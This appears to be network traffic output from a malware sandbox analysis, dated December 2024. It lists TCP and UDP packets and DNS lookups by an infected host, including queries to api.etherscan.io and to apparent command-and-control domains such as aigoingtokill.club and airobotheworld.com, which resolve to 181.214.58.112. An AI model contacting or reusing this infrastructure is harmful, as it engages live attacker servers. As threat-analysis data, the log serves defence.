Dec 9, 2024 06:51:12.775352001 CET	443	50014	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.836015940 CET	443	50015	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.836122036 CET	443	50015	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.836324930 CET	50015	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.836617947 CET	50015	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.836637974 CET	443	50015	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.836651087 CET	50015	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.836656094 CET	443	50015	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.871356010 CET	443	50016	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.871437073 CET	443	50016	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.871526957 CET	50016	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.871797085 CET	50016	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.871843100 CET	443	50016	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.871865034 CET	50016	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.871871948 CET	443	50016	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:14.823687077 CET	80	49971	181.214.58.112	192.168.2.11
Dec 9, 2024 06:51:14.825158119 CET	49971	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:51:14.825237989 CET	49971	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:51:14.944701910 CET	80	49971	181.214.58.112	192.168.2.11
Dec 9, 2024 06:51:15.026815891 CET	50017	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:51:15.148442984 CET	80	50017	181.214.58.112	192.168.2.11
Dec 9, 2024 06:51:15.148988008 CET	50017	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:51:15.154639959 CET	50017	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:51:15.274041891 CET	80	50017	181.214.58.112	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 06:49:24.149605989 CET	54537	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:49:24.291950941 CET	53	54537	1.1.1.1	192.168.2.11
Dec 9, 2024 06:49:38.508807898 CET	57566	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:49:38.647996902 CET	53	57566	1.1.1.1	192.168.2.11
Dec 9, 2024 06:49:41.608737946 CET	53805	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:49:41.939198017 CET	53	53805	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:04.139203072 CET	53568	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:04.478651047 CET	53	53568	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:04.651021004 CET	51521	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:04.887552023 CET	53	51521	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:05.087407112 CET	56669	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:05.229347944 CET	53	56669	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:05.460568905 CET	63895	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:05.830755949 CET	53	63895	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:12.849737883 CET	58094	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:12.987485886 CET	53	58094	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:13.186629057 CET	56443	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:13.407325983 CET	53	56443	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:13.627192974 CET	63062	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:13.764688015 CET	53	63062	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:28.121257067 CET	60787	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:28.338632107 CET	53	60787	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:30.703831911 CET	60788	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:30.840517044 CET	53	60788	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:30.842494965 CET	60789	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:30.979963064 CET	53	60789	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:30.988308907 CET	60790	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:31.130145073 CET	53	60790	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:31.908314943 CET	60791	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:32.048719883 CET	53	60791	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:32.049590111 CET	60792	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:32.191740036 CET	53	60792	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:32.197968006 CET	60793	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:32.340562105 CET	53	60793	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:32.681159019 CET	60794	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:32.820945024 CET	53	60794	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:32.822032928 CET	60795	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:32.964210987 CET	53	60795	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:32.964693069 CET	60796	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:33.106076002 CET	53	60796	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:33.106470108 CET	60797	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:33.245054007 CET	53	60797	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:33.245471954 CET	60798	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:33.386179924 CET	53	60798	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:35.081582069 CET	60799	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:35.218121052 CET	53	60799	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:35.218993902 CET	60800	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:35.356384039 CET	53	60800	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:35.356833935 CET	60801	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:35.495021105 CET	53	60801	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:35.495397091 CET	60802	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:35.635651112 CET	53	60802	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:35.636126041 CET	60803	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:35.777002096 CET	53	60803	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:36.302158117 CET	58290	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:36.439748049 CET	53	58290	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:36.583043098 CET	58291	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:36.719938040 CET	53	58291	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:36.720974922 CET	58292	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:36.858002901 CET	53	58292	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:36.858455896 CET	58293	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:36.996011019 CET	53	58293	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:36.996424913 CET	58294	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:37.133218050 CET	53	58294	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:37.138479948 CET	58295	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:37.275690079 CET	53	58295	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:45.829134941 CET	58296	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:45.966989040 CET	53	58296	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:45.967866898 CET	58297	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:46.106314898 CET	53	58297	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:46.179563046 CET	58298	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:46.317050934 CET	53	58298	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:46.777858973 CET	58299	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:46.914304018 CET	53	58299	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:46.916183949 CET	58300	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:47.055516005 CET	53	58300	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:47.061989069 CET	58301	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:47.199542046 CET	53	58301	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:47.522809982 CET	58302	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:47.659460068 CET	53	58302	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:47.660259962 CET	58303	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:47.798229933 CET	53	58303	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:47.798614025 CET	58304	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:47.935499907 CET	53	58304	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:47.935897112 CET	58305	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:48.072597027 CET	53	58305	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:48.073046923 CET	58306	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:48.213740110 CET	53	58306	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:49.769701004 CET	58307	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:49.906472921 CET	53	58307	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:49.907634974 CET	58308	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:50.044511080 CET	53	58308	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:50.044945002 CET	58309	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:50.182509899 CET	53	58309	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:50.182893991 CET	58310	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:50.319618940 CET	53	58310	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:50.320018053 CET	58311	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:50.457583904 CET	53	58311	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:51.185851097 CET	58312	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:51.323120117 CET	53	58312	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:51.323916912 CET	58313	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:51.462090969 CET	53	58313	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:51.462454081 CET	58314	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:51.599353075 CET	53	58314	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:51.601279020 CET	58315	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:51.743025064 CET	53	58315	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:51.743696928 CET	58316	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:51.881007910 CET	53	58316	1.1.1.1	192.168.2.11
Dec 9, 2024 06:51:00.296916008 CET	57410	53	192.168.2.11	1.1.1.1
Dec 9, 2024 06:51:00.434998035 CET	53	57410	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 06:49:24.149605989 CET	192.168.2.11	1.1.1.1	0xa5ad	Standard query (0)	api.etherscan.io	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:49:38.508807898 CET	192.168.2.11	1.1.1.1	0x3d8	Standard query (0)	api.etherscan.io	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:49:41.608737946 CET	192.168.2.11	1.1.1.1	0x8a32	Standard query (0)	a1.airobotheworld.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:04.139203072 CET	192.168.2.11	1.1.1.1	0xab12	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:04.651021004 CET	192.168.2.11	1.1.1.1	0xd189	Standard query (0)	a1.airobotheworld.tk	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:05.087407112 CET	192.168.2.11	1.1.1.1	0x2a20	Standard query (0)	a2.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:05.460568905 CET	192.168.2.11	1.1.1.1	0x451f	Standard query (0)	aigoingtokill.aigoingtokill.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:12.849737883 CET	192.168.2.11	1.1.1.1	0xd46d	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:13.186629057 CET	192.168.2.11	1.1.1.1	0x5afe	Standard query (0)	a1.airobotheworld.tk	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:13.627192974 CET	192.168.2.11	1.1.1.1	0xf47e	Standard query (0)	a2.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:28.121257067 CET	192.168.2.11	1.1.1.1	0x68a8	Standard query (0)	rocknroll.aigoingtokill2.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:30.703831911 CET	192.168.2.11	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:30.842494965 CET	192.168.2.11	1.1.1.1	0x2	Standard query (0)	a1.airobotheworld.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:30.988308907 CET	192.168.2.11	1.1.1.1	0x3	Standard query (0)	a1.airobotheworld.com	28	IN (0x0001)	false
Dec 9, 2024 06:50:31.908314943 CET	192.168.2.11	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:32.049590111 CET	192.168.2.11	1.1.1.1	0x2	Standard query (0)	a1.aigoingtokill.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:32.197968006 CET	192.168.2.11	1.1.1.1	0x3	Standard query (0)	a1.aigoingtokill.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:32.681159019 CET	192.168.2.11	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:32.822032928 CET	192.168.2.11	1.1.1.1	0x2	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:32.964693069 CET	192.168.2.11	1.1.1.1	0x3	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:33.106470108 CET	192.168.2.11	1.1.1.1	0x4	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:33.245471954 CET	192.168.2.11	1.1.1.1	0x5	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:35.081582069 CET	192.168.2.11	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:35.218993902 CET	192.168.2.11	1.1.1.1	0x2	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:35.356833935 CET	192.168.2.11	1.1.1.1	0x3	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:35.495397091 CET	192.168.2.11	1.1.1.1	0x4	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:35.636126041 CET	192.168.2.11	1.1.1.1	0x5	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:36.302158117 CET	192.168.2.11	1.1.1.1	0x2f45	Standard query (0)	rocknroll.aigoingtokill2.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:36.583043098 CET	192.168.2.11	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:36.720974922 CET	192.168.2.11	1.1.1.1	0x2	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:36.858455896 CET	192.168.2.11	1.1.1.1	0x3	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:36.996424913 CET	192.168.2.11	1.1.1.1	0x4	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:37.138479948 CET	192.168.2.11	1.1.1.1	0x5	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:45.829134941 CET	192.168.2.11	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:45.967866898 CET	192.168.2.11	1.1.1.1	0x2	Standard query (0)	a1.airobotheworld.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:46.179563046 CET	192.168.2.11	1.1.1.1	0x3	Standard query (0)	a1.airobotheworld.com	28	IN (0x0001)	false
Dec 9, 2024 06:50:46.777858973 CET	192.168.2.11	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:46.916183949 CET	192.168.2.11	1.1.1.1	0x2	Standard query (0)	a1.aigoingtokill.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:47.061989069 CET	192.168.2.11	1.1.1.1	0x3	Standard query (0)	a1.aigoingtokill.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:47.522809982 CET	192.168.2.11	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:47.660259962 CET	192.168.2.11	1.1.1.1	0x2	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:47.798614025 CET	192.168.2.11	1.1.1.1	0x3	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:47.935897112 CET	192.168.2.11	1.1.1.1	0x4	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:48.073046923 CET	192.168.2.11	1.1.1.1	0x5	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:49.769701004 CET	192.168.2.11	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:49.907634974 CET	192.168.2.11	1.1.1.1	0x2	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:50.044945002 CET	192.168.2.11	1.1.1.1	0x3	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:50.182893991 CET	192.168.2.11	1.1.1.1	0x4	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:50.320018053 CET	192.168.2.11	1.1.1.1	0x5	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:51.185851097 CET	192.168.2.11	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:51.323916912 CET	192.168.2.11	1.1.1.1	0x2	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:51.462454081 CET	192.168.2.11	1.1.1.1	0x3	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:50:51.601279020 CET	192.168.2.11	1.1.1.1	0x4	Standard query (0)	a1.6cs6.club	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:51.743696928 CET	192.168.2.11	1.1.1.1	0x5	Standard query (0)	a1.6cs6.club	28	IN (0x0001)	false
Dec 9, 2024 06:51:00.296916008 CET	192.168.2.11	1.1.1.1	0xcd54	Standard query (0)	a1.aigoingtokill.club	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 06:49:12.181950092 CET	1.1.1.1	192.168.2.11	0x74e8	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 06:49:12.181950092 CET	1.1.1.1	192.168.2.11	0x74e8	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:49:24.291950941 CET	1.1.1.1	192.168.2.11	0xa5ad	No error (0)	api.etherscan.io		23.111.175.138	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:49:24.291950941 CET	1.1.1.1	192.168.2.11	0xa5ad	No error (0)	api.etherscan.io		217.79.240.58	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:49:24.291950941 CET	1.1.1.1	192.168.2.11	0xa5ad	No error (0)	api.etherscan.io		217.79.243.34	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:49:38.647996902 CET	1.1.1.1	192.168.2.11	0x3d8	No error (0)	api.etherscan.io		217.79.240.58	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:49:38.647996902 CET	1.1.1.1	192.168.2.11	0x3d8	No error (0)	api.etherscan.io		217.79.243.34	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:49:38.647996902 CET	1.1.1.1	192.168.2.11	0x3d8	No error (0)	api.etherscan.io		23.111.175.138	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:49:41.939198017 CET	1.1.1.1	192.168.2.11	0x8a32	No error (0)	a1.airobotheworld.com		181.214.58.112	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:04.478651047 CET	1.1.1.1	192.168.2.11	0xab12	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:04.887552023 CET	1.1.1.1	192.168.2.11	0xd189	Name error (3)	a1.airobotheworld.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:05.229347944 CET	1.1.1.1	192.168.2.11	0x2a20	Name error (3)	a2.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:05.830755949 CET	1.1.1.1	192.168.2.11	0x451f	No error (0)	aigoingtokill.aigoingtokill.club		181.214.58.112	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:12.987485886 CET	1.1.1.1	192.168.2.11	0xd46d	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:13.407325983 CET	1.1.1.1	192.168.2.11	0x5afe	Name error (3)	a1.airobotheworld.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:13.764688015 CET	1.1.1.1	192.168.2.11	0xf47e	Name error (3)	a2.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:16.877443075 CET	1.1.1.1	192.168.2.11	0xc93b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 06:50:16.877443075 CET	1.1.1.1	192.168.2.11	0xc93b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:28.338632107 CET	1.1.1.1	192.168.2.11	0x68a8	Name error (3)	rocknroll.aigoingtokill2.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:30.840517044 CET	1.1.1.1	192.168.2.11	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:30.979963064 CET	1.1.1.1	192.168.2.11	0x2	No error (0)	a1.airobotheworld.com		181.214.58.112	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:31.130145073 CET	1.1.1.1	192.168.2.11	0x3	No error (0)	a1.airobotheworld.com			28	IN (0x0001)	false
Dec 9, 2024 06:50:32.048719883 CET	1.1.1.1	192.168.2.11	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:32.191740036 CET	1.1.1.1	192.168.2.11	0x2	No error (0)	a1.aigoingtokill.club		181.214.58.112	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:32.340562105 CET	1.1.1.1	192.168.2.11	0x3	No error (0)	a1.aigoingtokill.club			28	IN (0x0001)	false
Dec 9, 2024 06:50:32.820945024 CET	1.1.1.1	192.168.2.11	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:32.964210987 CET	1.1.1.1	192.168.2.11	0x2	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:33.106076002 CET	1.1.1.1	192.168.2.11	0x3	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:50:33.245054007 CET	1.1.1.1	192.168.2.11	0x4	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:33.386179924 CET	1.1.1.1	192.168.2.11	0x5	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:50:35.218121052 CET	1.1.1.1	192.168.2.11	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:35.356384039 CET	1.1.1.1	192.168.2.11	0x2	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:35.495021105 CET	1.1.1.1	192.168.2.11	0x3	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:50:35.635651112 CET	1.1.1.1	192.168.2.11	0x4	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:35.777002096 CET	1.1.1.1	192.168.2.11	0x5	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:50:36.439748049 CET	1.1.1.1	192.168.2.11	0x2f45	Name error (3)	rocknroll.aigoingtokill2.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:36.719938040 CET	1.1.1.1	192.168.2.11	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:36.858002901 CET	1.1.1.1	192.168.2.11	0x2	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:36.996011019 CET	1.1.1.1	192.168.2.11	0x3	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:50:37.133218050 CET	1.1.1.1	192.168.2.11	0x4	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:37.275690079 CET	1.1.1.1	192.168.2.11	0x5	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:50:45.966989040 CET	1.1.1.1	192.168.2.11	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:46.106314898 CET	1.1.1.1	192.168.2.11	0x2	No error (0)	a1.airobotheworld.com		181.214.58.112	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:46.317050934 CET	1.1.1.1	192.168.2.11	0x3	No error (0)	a1.airobotheworld.com			28	IN (0x0001)	false
Dec 9, 2024 06:50:46.914304018 CET	1.1.1.1	192.168.2.11	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:47.055516005 CET	1.1.1.1	192.168.2.11	0x2	No error (0)	a1.aigoingtokill.club		181.214.58.112	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:47.199542046 CET	1.1.1.1	192.168.2.11	0x3	No error (0)	a1.aigoingtokill.club			28	IN (0x0001)	false
Dec 9, 2024 06:50:47.659460068 CET	1.1.1.1	192.168.2.11	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:47.798229933 CET	1.1.1.1	192.168.2.11	0x2	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:47.935499907 CET	1.1.1.1	192.168.2.11	0x3	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:50:48.072597027 CET	1.1.1.1	192.168.2.11	0x4	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:48.213740110 CET	1.1.1.1	192.168.2.11	0x5	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
